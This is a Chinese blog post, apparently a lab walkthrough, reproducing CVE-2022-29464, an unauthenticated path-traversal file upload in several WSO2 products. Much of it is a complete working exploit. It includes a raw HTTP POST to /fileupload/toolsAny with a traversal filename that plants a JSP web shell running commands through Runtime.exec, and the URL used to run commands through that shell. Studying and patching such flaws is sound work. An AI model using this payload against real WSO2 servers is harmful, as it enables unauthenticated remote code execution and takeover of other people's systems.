CVE-2022-29464(WSO2文件上传)

admin 2022年5月24日17:50:46安全漏洞评论14 views2161字阅读7分12秒阅读模式

漏洞描述

WSO2是一家成立于 2005 年的开源技术提供商。它提供了一个企业平台,用于在本地和整个 Internet 上 集成应用程序编程接口(API)、应用程序和 Web 服务。

某些 WSO2 产品允许无限制的文件上传和远程代码执行。攻击者必须使用带有 Content-Disposition 目录遍历序列的 /fileupload 端点来到达 Web 根目录下的目录,例如 ../../../../repository/deployment/server/webapps 目录。这会影响 WSO2 API Manager 2.2.0 及更高版本到 4.0.0;WSO2 Identity Server 5.2.0 及以上至 5.11.0;WSO2 身份服务器分析 5.4.0、5.4.1、5.5.0 和 5.6.0;WSO2 身份服务器作为密钥管理器 5.3.0 及更高版本至 5.10.0;和 WSO2 Enterprise Integrator 6.2.0 及更高版本至 6.6.0。


漏洞复现:

采用vulfocus在线靶场环境


CVE-2022-29464(WSO2文件上传)


方法一:

使用CVE-2022-29464的exp直接打

下载地址:https://github.com/hakivvi/CVE-2022-29464/


CVE-2022-29464(WSO2文件上传)

CVE-2022-29464(WSO2文件上传)


这里exp成功执行上传了jsp文件,命令执行拿到flag


CVE-2022-29464(WSO2文件上传)


方法二:


CVE-2022-29464(WSO2文件上传)


漏洞接口为/fileupload,搜索接口配置信息,该接口未进行认证处理:

<Resource context=" /duoauthenticationendpoint(.*)" secured="false" http-method="all"/><Resource context="(.*)/fileupload(.*)" secured="false" http-method="all"/><Resource context="(.*)/filedownload(.x)" secured="false" http-method="all"/>

漏洞接口/fileupload/toolsAny对应的处理文件是:

org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor:

<Mapping><Actions><Action>toolsAnyK/Action></Actions><Class>org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor</Class></Mapping></FilellnloadConfia>


构造poc

POST /fileupload/toolsAny HTTP/1.1Host: 123.58.236.76:65512Accept: */*Accept-Encoding: gzip, deflateContent-Length: 889Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"
<FORM> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'></FORM><%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = "";if(cmd != null) { String s = null;try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream()));while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } }%> <pre><%=output %></pre>--4ef9f369a86bfaadf5ec3177278d49c0--


CVE-2022-29464(WSO2文件上传)


CVE-2022-29464(WSO2文件上传)


访问https://123.58.236.76:65512/authenticationendpoint/1.jsp?cmd=ls%20/tmp

成功拿到flag!


PS:这里靶场的链接应为https默认是http自行修改下,这是个大坑,poc一次没成功多尝试几次。

原文始发于微信公众号(三零二):CVE-2022-29464(WSO2文件上传)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月24日17:50:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CVE-2022-29464(WSO2文件上传) https://cn-sec.com/archives/1042327.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: